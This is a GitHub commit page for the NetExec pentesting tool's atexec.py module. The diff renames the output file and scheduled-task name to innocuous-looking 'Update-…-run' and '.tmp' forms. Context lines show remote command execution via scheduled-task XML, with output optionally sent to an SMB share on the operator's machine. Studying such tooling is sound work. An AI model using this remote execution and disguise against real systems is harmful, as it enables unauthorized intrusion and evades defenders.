Skip to content

Commit

Permalink
issue with atexec.py Pennyw0rth#4
Browse files Browse the repository at this point in the history
  • Loading branch information
shivaaz-fr committed Dec 10, 2024
1 parent cc2db22 commit 4ea305c
Showing 1 changed file with 2 additions and 2 deletions.
4 changes: 2 additions & 2 deletions nxc/protocols/smb/atexec.py
Original file line number Diff line number Diff line change
Expand Up @@ -105,7 +105,7 @@ def gen_xml(self, command, fileless=False):
<Command>cmd.exe </Command>
"""
if self.__retOutput:
self.__output_filename = "\\WINDOWS\\" + gen_random_string(10)
self.__output_filename = "\\WINDOWS\\" + gen_random_string(10) + ".tmp"
if fileless:
local_ip = self.__rpctransport.get_socket().getsockname()[0]
argument_xml = f" <Arguments>/C,,, {command} &gt; \\\\{local_ip}\\{self.__share_name}\\{self.__output_filename} 2&gt;&amp;1</Arguments>"
Expand Down Expand Up @@ -133,7 +133,7 @@ def execute_handler(self, command, fileless=False):
dce.set_credentials(*self.__rpctransport.get_credentials())
dce.connect()

tmpName = gen_random_string(8)
tmpName = "Update-" + gen_random_string(5) + "-run"

xml = self.gen_xml(command, fileless)

Expand Down

0 comments on commit 4ea305c

Please sign in to comment.